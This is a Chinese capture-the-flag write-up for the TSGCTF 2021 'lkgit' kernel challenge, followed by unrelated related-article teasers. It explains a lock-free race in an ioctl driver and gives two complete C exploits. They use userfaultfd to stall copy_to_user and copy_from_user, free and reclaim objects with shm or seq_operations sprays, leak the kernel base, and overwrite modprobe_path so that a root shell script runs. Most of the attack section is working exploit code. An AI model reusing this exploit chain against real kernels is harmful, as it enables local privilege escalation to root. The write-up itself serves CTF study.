当前位置: 首页 > news >正文

tsgctf-2021-lkgit-无锁竞争-userfaultfd

启动脚本

qemu-system-x86_64 \-kernel ./bzImage \-initrd ./rootfs.cpio \-nographic \-monitor /dev/null \-cpu kvm64,smep,smap \-append "console=ttyS0 kaslr oops=panic panic=1 quiet" \-no-reboot \-m 256M

题目

lkgit_hash_object

#define HASH_SIZE                 0x10
typedef struct {char hash[HASH_SIZE];char *content;	// 长度最大0x40char *message;	// 长度最大0x20
} hash_object;

从用户空间传递一个hash_object到内核

  • 内核分配一个hash_object对象,将用户态的hash_object拷贝进来
  • 内核分配一个content对象,将hash_object->content拷贝进来
  • 内核分配一个message对象,将hash_object->message拷贝进来
  • 根据content的内容计算出,hash,保存到内核的hash_object->hash
  • 并将hash赋值到用户态的hash_object->hash
  • 最后将内核态的hash_object保存到全局数组objects中
    • 先检查全局数组objects是否已经保存了相同hash的hash_object,有则先将hash_object释放,并置NULL
    • 然后再全局数组objects中找到一个元素为NULL的,存放进去
static long lkgit_hash_object(hash_object *reqptr) {long ret = -LKGIT_ERR_UNKNOWN;char *content_buf = kzalloc(FILE_MAXSZ, GFP_KERNEL);	// 0x40char *message_buf = kzalloc(MESSAGE_MAXSZ, GFP_KERNEL); // 0x20hash_object *req = kzalloc(sizeof(hash_object), GFP_KERNEL); // 0x20if (IS_ERR_OR_NULL(content_buf) || IS_ERR_OR_NULL(message_buf) || IS_ERR_OR_NULL(req))goto end;if (copy_from_user(req, reqptr, sizeof(hash_object)))goto end;if (copy_from_user(content_buf, req->content, FILE_MAXSZ)|| copy_from_user(message_buf, req->message, MESSAGE_MAXSZ))goto end;req->content = content_buf;req->message = message_buf;get_hash(content_buf, req->hash);if (copy_to_user(reqptr->hash, req->hash, HASH_SIZE)) {goto end;}ret = save_object(req);end:return ret;
}static void get_hash(char *content, char *buf) {int ix,jx;unsigned unit = FILE_MAXSZ / HASH_SIZE;char c;for (ix = 0; ix != HASH_SIZE; ++ix) {c = 0;for(jx = 0; jx != unit; ++jx) {c ^= content[ix * unit + jx];}buf[ix] = c;}
}static long save_object(hash_object *obj) {int ix;int dup_ix;// first, find conflict of hashif((dup_ix = find_by_hash(obj->hash)) != -1) {kfree(objects[dup_ix]);objects[dup_ix] = NULL;}// assign objectfor (ix = 0; ix != HISTORY_MAXSZ; ++ix) {if (objects[ix] == NULL) {objects[ix] = obj;return 0;}}return -LKGIT_ERR_UNKNOWN;
}static int find_by_hash(char *hash) {int ix;for (ix = 0; ix != HISTORY_MAXSZ; ++ix) {if (objects[ix] != NULL && memcmp(hash, objects[ix]->hash, HASH_SIZE) == 0)return ix;}return -1;
}

lkgit_get_object

typedef struct {char hash[HASH_SIZE];char content[FILE_MAXSZ];char message[MESSAGE_MAXSZ];
} log_object;

用户态传递过来的参数log_object

  • 内核获取用户态的log_object->hash
  • 在全局数组objects中,查找是否存在hash相同的hash_object元素
  • 将找到的hash_object元素的content,拷贝到用户态的log_object->content
  • 计算内核找到的hash_object元素content的hash,是否与用户参数中的log_object->hash,一致则
    • 内核找到的hash_object元素的content,拷贝给用户态
    • 内核找到的hash_object元素的hash,拷贝给用户态
static long lkgit_get_object(log_object *req) {long ret = -LKGIT_ERR_OBJECT_NOTFOUND;char hash_other[HASH_SIZE] = {0};char hash[HASH_SIZE];int target_ix;hash_object *target;if (copy_from_user(hash, req->hash, HASH_SIZE))goto end;if ((target_ix = find_by_hash(hash)) != -1) {target = objects[target_ix];if (copy_to_user(req->content, target->content, FILE_MAXSZ))goto end;// validity check of hashget_hash(target->content, hash_other);if (memcmp(hash, hash_other, HASH_SIZE) != 0)goto end;if (copy_to_user(req->message, target->message, MESSAGE_MAXSZ))goto end;if (copy_to_user(req->hash, target->hash, HASH_SIZE)) goto end;ret = 0;}end:return ret;
}

lkgit_amend_message

用户态传递过来的参数log_object

  • 内核获取用户态的log_object->hash
  • 在全局数组objects中,查找是否存在hash相同的hash_object元素
  • 将用户态的log_object->message,拷贝到内核局部变量buf中
  • 调用lkgit_get_object
  • 并将用户态log_object->message,拷贝到找到的hash相同的hash_object->message中
static long lkgit_amend_message(log_object *reqptr) {long ret = -LKGIT_ERR_OBJECT_NOTFOUND;char buf[MESSAGE_MAXSZ];log_object req = {0};int target_ix;hash_object *target;if(copy_from_user(&req, reqptr->hash, HASH_SIZE))goto end;if ((target_ix = find_by_hash(req.hash)) != -1) {target = objects[target_ix];// save message temporarilyif (copy_from_user(buf, reqptr->message, MESSAGE_MAXSZ))goto end;// return old information of objectret = lkgit_get_object(reqptr);// amend messagememcpy(target->message, buf, MESSAGE_MAXSZ);}end:return ret;
}

漏洞在哪里

单看,ioctl中的三个方法,好像都没有问题

  • lkgit_hash_object
  • lkgit_get_object
  • lkgit_amend_message

由于内核函数调用中没有加锁,查看是否存在竞争

结合异步并行调用+userfaultfd,再尝试看看没有没有问题

lkgit_hash_object

static long lkgit_hash_object(hash_object *reqptr) {long ret = -LKGIT_ERR_UNKNOWN;char *content_buf = kzalloc(FILE_MAXSZ, GFP_KERNEL);	// 0x40char *message_buf = kzalloc(MESSAGE_MAXSZ, GFP_KERNEL); // 0x20hash_object *req = kzalloc(sizeof(hash_object), GFP_KERNEL); // 0x20if (IS_ERR_OR_NULL(content_buf) || IS_ERR_OR_NULL(message_buf) || IS_ERR_OR_NULL(req))goto end;if (copy_from_user(req, reqptr, sizeof(hash_object)))	// 【1】goto end;if (copy_from_user(content_buf, req->content, FILE_MAXSZ)|| copy_from_user(message_buf, req->message, MESSAGE_MAXSZ)) // 【2】goto end;req->content = content_buf;req->message = message_buf;get_hash(content_buf, req->hash);	// 【3】if (copy_to_user(reqptr->hash, req->hash, HASH_SIZE)) {	// 【4】goto end;}ret = save_object(req);end:return ret;
}
  • 通过userfaultfd,在【1】处暂停
    • lkgit_get_object,无法从全局数组objects找到可用的hash_other
  • 通过userfaultfd,在【2】处暂停
    • lkgit_get_object,无法从全局数组objects找到可用的hash_other
  • 通过userfaultfd,在【4】处暂停
    • lkgit_get_object,无法从全局数组objects找到可用的hash_other

lkgit_get_object

static long lkgit_get_object(log_object *req) {long ret = -LKGIT_ERR_OBJECT_NOTFOUND;char hash_other[HASH_SIZE] = {0};char hash[HASH_SIZE];int target_ix;hash_object *target;if (copy_from_user(hash, req->hash, HASH_SIZE))goto end;if ((target_ix = find_by_hash(hash)) != -1) {target = objects[target_ix];if (copy_to_user(req->content, target->content, FILE_MAXSZ))	// 【1】goto end;// validity check of hashget_hash(target->content, hash_other);if (memcmp(hash, hash_other, HASH_SIZE) != 0)goto end;if (copy_to_user(req->message, target->message, MESSAGE_MAXSZ))	// 【2】goto end;if (copy_to_user(req->hash, target->hash, HASH_SIZE)) // 【3】goto end;ret = 0;}end:return ret;
}
  • 【1】,【2】,【3】在此处停下,通过调用lkgit_hash_object->save_object->kfree,释放hash_object,并用其他内核结构替换,获取可以获取一些内核信息

lkgit_amend_message

static long lkgit_amend_message(log_object *reqptr) {long ret = -LKGIT_ERR_OBJECT_NOTFOUND;char buf[MESSAGE_MAXSZ];log_object req = {0};int target_ix;hash_object *target;if(copy_from_user(&req, reqptr->hash, HASH_SIZE))	// 【1】goto end;if ((target_ix = find_by_hash(req.hash)) != -1) {target = objects[target_ix];// save message temporarilyif (copy_from_user(buf, reqptr->message, MESSAGE_MAXSZ))goto end;// return old information of objectret = lkgit_get_object(reqptr);	// 【1】// amend messagememcpy(target->message, buf, MESSAGE_MAXSZ);	// 【2】}end:return ret;
}

lkgit_get_object类似,但是这个的【2】提供了一个往占位结构体写数据的功能,但这里略微复杂一点

// 1、在lkgit_hash_object中,先申请kmalloc-32的message slab-1
message:0x0-0x70x8-0xF0x10-0x170x18-0x1F
// 2、在lkgit_hash_object中,再申请kmalloc-32的hash_object slab-2
// 2-1、之前存储在objects中的kmalloc-32的 hash_object slab-0会被释放
// 3、再次调用lkgit_hash_object,slab-0,会被message占据
// 4、这时就可以通过lkgit_hash_object内部的copy_from_user(message_buf),修改 hash_object->message
// 5、通过lkgit_amend_message中的【1】找到这个结构体
// 6、通过lkgit_amend_message中的【2】修改hash_object->message指向的内容
typedef struct {char hash[HASH_SIZE];char *content;	// 长度最大0x40char *message;	// 长度最大0x20
} hash_object;

利用

  • 先创建一个内核hash_object,并挂到内核objects数组下
  • 调用lkgit_get_object,触发缺页处理
    • 在缺页处理内部调用lkgit_hash_object,触发kfree
    • 使用shm_file_data进行占位
    • 读取内核指针,获取内核基地址
    • 从而得到modprobe_path的地址
  • 调用lkgit_amend_message,触发缺页处理
    • 修改hash_object->message 的地址为modprobe_path的地址
    • 通过memcpy(target->message, buf, MESSAGE_MAXSZ);重写modprobe_path的内容

exp1 - 这个蛮好看的

#include <fcntl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <unistd.h>#define LKGIT_HASH_OBJECT 0xdead0001
#define LKGIT_AMEND_MESSAGE 0xdead0003
#define LKGIT_GET_OBJECT 0xdead0004#define FILE_MAXSZ 0x40
#define MESSAGE_MAXSZ 0x20
#define HASH_SIZE 0x10typedef struct
{char hash[HASH_SIZE]; // 0x10char *content;        // 0x8char *message;        // 0x8
} hash_object;typedef struct
{char hash[HASH_SIZE];char content[FILE_MAXSZ];char message[MESSAGE_MAXSZ];
} log_object;typedef struct
{long uffd;unsigned long long page_start;void *(*wp_fault_func)(void *);void *(*read_fault_func)(void *, struct uffdio_copy*);
} userfd_callback_args;int lkgit_fd;
pthread_t uffd_thread;char fileContent1[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
char fileMessage1[] = "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB";
char hash1[0x10];unsigned long modprobe_path;void errout(char *msg)
{perror(msg);exit(-1);
}void *userfd_thread_func(void *args)
{struct uffd_msg msg;userfd_callback_args *cb_args = (userfd_callback_args *)args;struct pollfd pollfd = {.fd = cb_args->uffd,.events = POLLIN};while (poll(&pollfd, 1, -1) > 0){if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP)errout("polling error");if (!(pollfd.revents & POLLIN))continue;if (read(cb_args->uffd, &msg, sizeof(msg)) == 0)errout("read uffd event");printf("Userfault event\n");printf("======================================================================\n");if (msg.event & UFFD_EVENT_PAGEFAULT)printf("PAGEFAULT : %p / Flags %p\n", (void *)msg.arg.pagefault.address, msg.arg.pagefault.flags);long long addr = msg.arg.pagefault.address;long long page_begin = addr - (addr % 0x1000);// Check for write protected write faultif (msg.arg.pagefault.flags & UFFD_PAGEFAULT_FLAG_WP){printf("UFFD_PAGEFAULT_FLAG_WP\n");// If defined, call write protect fault handlerif(cb_args->wp_fault_func)cb_args->wp_fault_func(cb_args);// set page to not write protected to unlock kernelstruct uffdio_writeprotect wp;wp.range.start = cb_args->page_start;wp.range.len = 0x2000;wp.mode = 0;printf("[+] Send !UFFDIO_WRITEPROTECT event to userfaultfd\n");printf("======================================================================\n\n");fflush(stdout);if (ioctl(cb_args->uffd, UFFDIO_WRITEPROTECT, &wp) == -1){errout("ioctl(UFFDIO_WRITEPROTECT)");}continue;}// Page wasn't touched by now, so fill itprintf("UFFDIO_COPY\n");char buf[0x1000];struct uffdio_copy cp = {.src = (long long)buf,.dst = (long long)addr,.len = (long long)0x1000,.mode = 0};// If defined, call read protect fault handlerif(cb_args->read_fault_func)cb_args->read_fault_func(cb_args, &cp);if (ioctl(cb_args->uffd, UFFDIO_COPY, &cp) == -1){perror("ioctl(UFFDIO_COPY)");}printf("[+] Sent UFFDIO_COPY event to userfaultfd\n");printf("======================================================================\n\n");fflush(stdout);}return NULL;
}userfd_callback_args* register_userfaultfd(unsigned long long mode, void *(*wp_fault_func)(void *), void *(*read_fault_func)(void *, struct uffdio_copy*))
{printf("\n");printf("Register userfaultdfd\n");printf("======================================================================\n");// setup userfault fdint uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);if (uffd == -1){perror("syscall");exit(-1);}int uffd_flags = fcntl(uffd, F_GETFD, NULL);printf("[+] Userfaultfd registered : FD %d / Flags: %p\n", uffd, uffd_flags);struct uffdio_api uffdio_api = {.api = UFFD_API,.features = 0};if (ioctl(uffd, UFFDIO_API, &uffdio_api)){perror("UFFDIO_API");exit(-1);}printf("[+] Userfaultfd api : Features %p\n", uffdio_api.features);char* userfault_region = mmap(NULL, 0x1000 * 2, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0);if (!userfault_region){perror("mmap");exit(-1);}// 页对其if (posix_memalign((void **)userfault_region, 0x1000, 0x1000 * 2)){fprintf(stderr, "cannot align by pagesize %d\n", 0x1000);exit(1);}printf("[+] Userfaultfd region : %p - %p", userfault_region, userfault_region + 0x1000 * 2);struct uffdio_register uffdio_register;uffdio_register.range.start = (unsigned long long)userfault_region;uffdio_register.range.len = 0x1000 * 2;uffdio_register.mode = mode;if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1){perror("ioctl(UFFDIO_REGISTER)");exit(1);}printf("[+] Userfaultfd region registered: ioctls %p\n", uffdio_register.ioctls);userfd_callback_args *cb_args = malloc(sizeof(userfd_callback_args));cb_args->uffd = uffd;cb_args->wp_fault_func = wp_fault_func;cb_args->read_fault_func = read_fault_func;cb_args->page_start = (unsigned long long)userfault_region;pthread_create(&uffd_thread, NULL, userfd_thread_func, cb_args);printf("[+] Userfaultfd process thread started: %p\n", uffd_thread);printf("======================================================================\n\n");    return cb_args;
}void unregister_userfaultfd(userfd_callback_args* args) {printf("\n");printf("Unregister userfaultdfd\n");printf("======================================================================\n");struct uffdio_range uf_range = {.start = args->page_start,.len = 0x2000};if (ioctl(args->uffd, UFFDIO_UNREGISTER, (unsigned long)&uf_range) == -1) errout("unregistering page for userfaultfd");if (munmap(args->page_start, 0x2000) == -1)errout("munmapping userfaultfd page");close(args->uffd);pthread_cancel(uffd_thread);printf("[+] userfaultfd unregistered\n");printf("======================================================================\n\n");
}// take a snapshot of a file.
char snap_file(char *content, char *message, char *out_hash)
{hash_object req = {.content = content,.message = message,};if (ioctl(lkgit_fd, LKGIT_HASH_OBJECT, &req) != 0){printf("[ERROR] failed to hash the object.\n");}memcpy(out_hash, &req.hash, 0x10);return 0;
}void spray_shmem(int count, int size) {puts("[+] spray shmem structs");int shmid;char *shmaddr;for (int i = 0; i < count; i++){if ((shmid = shmget(IPC_PRIVATE, size, 0600)) == -1){perror("shmget error");exit(-1);}shmaddr = shmat(shmid, NULL, 0);if (shmaddr == (void *)-1){perror("shmat error");exit(-1);}}
}void *break_on_read_leak(void *args, struct uffdio_copy *uf_buf)
{userfd_callback_args *cb_args = args;puts("Userfault: break_on_read");    printf("[+]Delete current object by storing one with the same hash\n");snap_file(fileContent1, fileMessage1, &hash1);printf("[+] Create a shmem struct in the freed object");spray_shmem(1, 0x20);    
}void *break_on_read_overwrite(void *args, struct uffdio_copy *uf_buf)
{userfd_callback_args *cb_args = args;// Write address of modprobe_path to hash_object->messageunsigned long* lptr = fileMessage1+0x18;*lptr = modprobe_path;// Reallocate files, so that current object is freed and our message will overwrite current object to control its message pointersnap_file(fileContent1, fileMessage1, &hash1);snap_file(fileContent1, fileMessage1, &hash1);// Put the content into UFFDIO_COPY src argument (which will be copied to message pointer)char mod[] = "/home/user/copy.sh";memcpy(uf_buf->src, mod, sizeof(mod));      
}int main()
{// Prepare modprobe_path exploitationsystem("echo -ne '#!/bin/sh\n/bin/cp /home/user/flag /home/user/flag2\n/bin/chmod 777 /home/user/flag2' > /home/user/copy.sh");system("chmod +x /home/user/copy.sh");system("echo -ne '\\xff\\xff\\xff\\xff' > /home/user/dummy");system("chmod +x /home/user/dummy");lkgit_fd = open("/dev/lkgit", O_RDWR);// 创建一个log_object对象printf("[+] Create initial file in lkgit\n");snap_file(fileContent1, fileMessage1, hash1);// kernel base泄露printf("[+] Register userfaultfd\n");userfd_callback_args *uffdargs = register_userfaultfd(UFFDIO_REGISTER_MODE_MISSING | UFFDIO_REGISTER_MODE_WP, NULL, break_on_read_leak);printf("[+] Request file, and let it break on copying back message\n");log_object *req = uffdargs->page_start + 0x1000 - 0x10 - 0x40; // Allow copy hash/content, but pagefault on messagememcpy(&req->hash, hash1, 0x10);ioctl(lkgit_fd, LKGIT_GET_OBJECT, req); // page fault 错误,先执行 break_on_read_leak(1、删除object 2、堆喷占据对象),再读取堆喷数据unsigned long kernel_leak = *((unsigned long*)(req->hash + 0x8));modprobe_path = kernel_leak - 0x131ce0;printf("[+] Kernel leak   : %p\n", kernel_leak);printf("[+] modprobe_path : %p\n", modprobe_path);unregister_userfaultfd(uffdargs);// 任意地址写printf("[+] Register new userfaultfd\n");uffdargs = register_userfaultfd(UFFDIO_REGISTER_MODE_MISSING | UFFDIO_REGISTER_MODE_WP, NULL, break_on_read_overwrite);// Align the request object, so that lkgit_amend_message will pagefault on reading new messageioctl(lkgit_fd, LKGIT_AMEND_MESSAGE, uffdargs->page_start+0x1000-0x10-0x40);close(lkgit_fd);// Execute modprobe_path exploitationsystem("/home/user/dummy");system("cat /home/user/flag2");
}

exp2

/****************** Full exploit of lkgit.*****************/#define _GNU_SOURCE
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdint.h>
#include <unistd.h>
#include <assert.h>
#include <stdlib.h>
#include <signal.h>
#include <poll.h>
#include <pthread.h>
#include <err.h>
#include <errno.h>
#include <netinet/in.h>
#include <sched.h>
#include <linux/bpf.h>
#include <linux/filter.h>
#include <linux/userfaultfd.h>
#include <sys/syscall.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/xattr.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/shm.h>#include "../src/include/lkgit.h" // commands#define DEV_PATH "/dev/lkgit" // the path the device is placed
#define ulong unsigned long
#define scu static const unsigned long#// constants
#define PAGE 0x1000
#define NO_FAULT_ADDR 0xdead0000
#define FAULT_ADDR 0xdead1000
#define FAULT_OFFSET PAGE
#define MMAP_SIZE 4 * PAGE
#define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET
// (END constants)// globals
int uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
int lkgit_fd;
char buf[0x400];
unsigned long len = 2 * PAGE;
void *addr = (void *)NO_FAULT_ADDR;
void *target_addr;
size_t target_len;
int tmpfd[0x300];
int seqfd;
struct sockaddr_in saddr = {0};
struct msghdr socketmsg = {0};
struct iovec iov[1];ulong single_start;
ulong kernbase;ulong off_single_start = 0x01adc20;
ulong off_modprobepath = 0x0c3cb20;
// (END globals)// utils
#define WAIT getc(stdin);
#define errExit(msg)        \do                      \{                       \perror(msg);        \exit(EXIT_FAILURE); \} while (0)
ulong user_cs, user_ss, user_sp, user_rflags;/** module specific utils **/char *hash_to_string(char *hash)
{char *hash_str = calloc(HASH_SIZE * 2 + 1, 1);for (int ix = 0; ix != HASH_SIZE; ++ix){sprintf(hash_str + ix * 2, "%02lx", (unsigned long)(unsigned char)hash[ix]);}return hash_str;
}char *string_to_hash(char *hash_str)
{char *hash = calloc(HASH_SIZE, 1);char buf[3] = {0};for (int ix = 0; ix != HASH_SIZE; ++ix){memcpy(buf, &hash_str[ix * 2], 2);hash[ix] = (char)strtol(buf, NULL, 16);}return hash;
}void print_log(log_object *log)
{printf("HASH   : %s\n", hash_to_string(log->hash));printf("MESSAGE: %s\n", log->message);printf("CONTENT: \n%s\n", log->content);
}
/** END of module specific utils **/void *conflict_during_fault(char *content)
{// commit with conflict of hashchar content_buf[FILE_MAXSZ] = {0};char msg_buf[MESSAGE_MAXSZ] = {0};memcpy(content_buf, content, FILE_MAXSZ); // hash became 00000000000...hash_object req = {.content = content_buf,.message = content_buf,};printf("[.] committing with conflict...: %s\n", content);assert(ioctl(lkgit_fd, LKGIT_HASH_OBJECT, &req) == 0);printf("[+] hash: %s\n", hash_to_string(req.hash));
}// userfaultfd-utils
static void *fault_handler_thread(void *arg)
{puts("[+] entered fault_handler_thread");static struct uffd_msg msg; // data read from userfaultfd// struct uffdio_copy uffdio_copy;struct uffdio_range uffdio_range;struct uffdio_copy uffdio_copy;long uffd = (long)arg; // userfaultfd file descriptorstruct pollfd pollfd;  //int nready;            // number of polled events// set poll informationpollfd.fd = uffd;pollfd.events = POLLIN;// wait for pollputs("[+] polling...");while (poll(&pollfd, 1, -1) > 0){if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP)errExit("poll");// read an eventif (read(uffd, &msg, sizeof(msg)) == 0)errExit("read");if (msg.event != UFFD_EVENT_PAGEFAULT)errExit("unexpected pagefault");printf("[!] page fault: %p\n", (void *)msg.arg.pagefault.address);// Now, another thread is halting. Do my business.char content_buf[FILE_MAXSZ] = {0};if (target_addr == (void *)NO_FAULT_ADDR){puts("[+] first: seq_operations");memset(content_buf, 'A', FILE_MAXSZ);conflict_during_fault(content_buf);puts("[+] trying to realloc kfreed object...");if ((seqfd = open("/proc/self/stat", O_RDONLY)) <= 0){errExit("open seq_operations");}// trashuffdio_range.start = msg.arg.pagefault.address & ~(PAGE - 1);uffdio_range.len = PAGE;if (ioctl(uffd, UFFDIO_UNREGISTER, &uffdio_range) == -1)errExit("ioctl-UFFDIO_UNREGISTER");}else{printf("[+] target == modprobe_path @ %p\n", (void *)kernbase + off_modprobepath);strcpy(content_buf, "/tmp/evil\x00");conflict_during_fault(content_buf);puts("[+] trying to realloc kfreed object...");long *buf = calloc(sizeof(long), sizeof(hash_object) / sizeof(long));for (int ix = 0; ix != sizeof(hash_object) / sizeof(long); ++ix){buf[ix] = kernbase + off_modprobepath;}char content_buf[FILE_MAXSZ] = {0};char hash_buf[HASH_SIZE] = {0};strcpy(content_buf, "uouo-fish-life\x00");hash_object req = {.content = content_buf,.message = (char *)buf,};assert(ioctl(lkgit_fd, LKGIT_HASH_OBJECT, &req) == 0);printf("[+] hash: %s\n", hash_to_string(req.hash));// write evil messageputs("[+] copying evil message...");char message_buf[PAGE] = {0};strcpy(message_buf, "/tmp/evil\x00");uffdio_copy.src = (unsigned long)message_buf;uffdio_copy.dst = msg.arg.pagefault.address;uffdio_copy.len = PAGE;uffdio_copy.mode = 0;if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)errExit("ioctl-UFFDIO_COPY");}break;}puts("[+] exiting fault_handler_thrd");
}void register_userfaultfd_and_halt(void)
{puts("[+] registering userfaultfd...");long uffd;     // userfaultfd file descriptorpthread_t thr; // ID of thread that handles page fault and continue exploit in another kernel threadstruct uffdio_api uffdio_api;struct uffdio_register uffdio_register;int s;// create userfaultfd file descriptoruffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // there is no wrapper in libcif (uffd == -1)errExit("userfaultfd");// enable uffd object via ioctl(UFFDIO_API)uffdio_api.api = UFFD_API;uffdio_api.features = 0;if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)errExit("ioctl-UFFDIO_API");// mmapaddr = mmap(target_addr, target_len, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); // set MAP_FIXED for memory to be mmaped on exactly specified addr.printf("[+] mmapped @ %p\n", addr);if (addr == MAP_FAILED || addr != target_addr)errExit("mmap");// specify memory region handled by userfaultfd via ioctl(UFFDIO_REGISTER)// first stepif (target_addr == (void *)NO_FAULT_ADDR){uffdio_register.range.start = (size_t)(target_addr + PAGE);uffdio_register.range.len = PAGE;uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;}else{// second stepuffdio_register.range.start = (size_t)(target_addr + PAGE);uffdio_register.range.len = PAGE;uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;}// uffdio_register.mode = UFFDIO_REGISTER_MODE_WP; // write-protectionif (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)errExit("ioctl-UFFDIO_REGISTER");s = pthread_create(&thr, NULL, fault_handler_thread, (void *)uffd);if (s != 0){errno = s;errExit("pthread_create");}puts("[+] registered userfaultfd");
}
// (END userfaultfd-utils)int main(int argc, char *argv[])
{puts("[.] starting exploit...");system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/nirugiri");system("echo -ne '#!/bin/sh\nchmod 777 /home/user/flag && cat /home/user/flag' > /tmp/evil");system("chmod +x /tmp/evil");system("chmod +x /tmp/nirugiri");lkgit_fd = open(DEV_PATH, O_RDWR);if (lkgit_fd < 0){errExit("open");}// register uffd handlertarget_addr = (void *)NO_FAULT_ADDR;target_len = 2 * PAGE;register_userfaultfd_and_halt();sleep(1);log_object *log = (log_object *)(target_addr + PAGE - (HASH_SIZE + FILE_MAXSZ));printf("[.] target addr: %p\n", target_addr);printf("[.] log:         %p\n", log);// sprayputs("[.] heap spraying...");for (int ix = 0; ix != 0x90; ++ix){tmpfd[ix] = open("/proc/self/stat", O_RDONLY);}// commit a file normalychar content_buf[FILE_MAXSZ] = {0};char msg_buf[MESSAGE_MAXSZ] = {0};char hash_buf[HASH_SIZE] = {0};memset(content_buf, 'A', FILE_MAXSZ); // hash became 00000000000...strcpy(msg_buf, "This is normal commit.\x00");hash_object req = {.content = content_buf,.message = msg_buf,};assert(ioctl(lkgit_fd, LKGIT_HASH_OBJECT, &req) == 0);printf("[+] hash: %s\n", hash_to_string(req.hash));memset(content_buf, 0, FILE_MAXSZ);strcpy(content_buf, "/tmp/evil\x00"); // hash is 46556c00000000000000000000000000strcpy(msg_buf, "This is second commit.\x00");assert(ioctl(lkgit_fd, LKGIT_HASH_OBJECT, &req) == 0);printf("[+] hash: %s\n", hash_to_string(req.hash));// try to get a log and invoke race// this fault happens when copy_to_user(to = message), not when copy_to_user(to = content).memset(log->hash, 0, HASH_SIZE);assert(ioctl(lkgit_fd, LKGIT_GET_OBJECT, log) == 0);print_log(log);// kernbase leaksingle_start = *(unsigned long *)log->hash;kernbase = single_start - off_single_start;printf("[!] single_start: %lx\n", single_start);printf("[!] kernbase: %lx\n", kernbase);// prepare for race again.target_len = PAGE * 2;target_addr = (void *)NO_FAULT_ADDR + PAGE * 2;register_userfaultfd_and_halt();sleep(1);// amend to race/AAWlog = (log_object *)(target_addr + PAGE - (HASH_SIZE + FILE_MAXSZ));memcpy(log->hash, string_to_hash("46556c00000000000000000000000000"), HASH_SIZE); // hash is 46556c00000000000000000000000000puts("[.] trying to race to achive AAW...");int e = ioctl(lkgit_fd, LKGIT_AMEND_MESSAGE, log);if (e != 0){if (e == -LKGIT_ERR_OBJECT_NOTFOUND){printf("[ERROR] object not found: %s\n", hash_to_string(log->hash));}else{printf("[ERROR] unknown error in AMEND.\n");}}// nirugiriputs("[!] executing evil script...");system("/tmp/nirugiri");system("cat /home/user/flag");printf("[.] end of exploit.\n");return 0;
}

参考

https://ctftime.org/writeup/30739
https://kileak.github.io/ctf/2021/tsg-lkgit/
https://blog.smallkirby.com/posts/lkgit/

相关文章:

tsgctf-2021-lkgit-无锁竞争-userfaultfd

启动脚本 qemu-system-x86_64 \-kernel ./bzImage \-initrd ./rootfs.cpio \-nographic \-monitor /dev/null \-cpu kvm64,smep,smap \-append "consolettyS0 kaslr oopspanic panic1 quiet" \-no-reboot \-m 256M题目 lkgit_hash_object #define HASH_SIZE …...

物联网数据隐私保护技术

在物联网&#xff08;IoT&#xff09;的世界中&#xff0c;无数的设备通过互联网连接在一起&#xff0c;不断地收集、传输和处理数据。这些数据有助于提高生产效率、优化用户体验并创造新的服务模式。然而&#xff0c;随着数据量的剧增&#xff0c;数据隐私保护成为了一个不能忽…...

RabbitMQ-1.介绍与安装

介绍与安装 1.RabbitMQ1.0.技术选型1.1.安装1.2.收发消息1.2.1.交换机1.2.2.队列1.2.3.绑定关系1.2.4.发送消息 1.2.数据隔离1.2.1.用户管理1.2.3.virtual host 1.RabbitMQ 1.0.技术选型 消息Broker&#xff0c;目前常见的实现方案就是消息队列&#xff08;MessageQueue&…...

CSS高级技巧

一、 精灵图 1.1 为什么需要精灵图&#xff1f; 1.2 精灵图&#xff08;sprites&#xff09;的使用 二、 字体图标 2.1 字体图标的产生 2.2 字体图标的优点 2.3 字体图标的下载 icomoom字库 http://icomoon.io 阿里iconfont字库 http://www.iconfont.cn/ 2.4 字体图标的引用…...

Redis的数据类型Hash使用场景实战

Redis的数据类型Hash使用场景 常见面试题&#xff1a;redis在你们项目中是怎么用的&#xff0c;除了String数据类型还使用什么数据类型&#xff1f; 怎么保证缓存和数据一致性等问题… Hash模型使用场景 知识回顾&#xff1a; redisTemplate.opsForHash() 方法是 Redis 的 …...

HttpClient | 支持 HTTP 协议的客户端编程工具包

目录 1、简介 2、应用场景 3、导入 4、API 5、示例 5.1、GET请求 5.2、POST请求 &#x1f343;作者介绍&#xff1a;双非本科大三网络工程专业在读&#xff0c;阿里云专家博主&#xff0c;专注于Java领域学习&#xff0c;擅长web应用开发、数据结构和算法&#xff0c;初…...

DP第一天:力扣● 理论基础 ● 509. 斐波那契数 ● 70. 爬楼梯 ● 746. 使用最小花费爬楼梯

● 理论基础 DP大约五种问题&#xff1a; 动规基础&#xff08;斐波那契数列、爬楼梯&#xff09;&#xff1b;背包问题&#xff1b;股票问题&#xff1b;打家劫舍&#xff1b;子序列问题。 要搞清楚&#xff1a; DP数组及其下标的含义&#xff1b;DP数组如何初始化&#x…...

Android Studio 安装Flutter插件但是没法创建项目

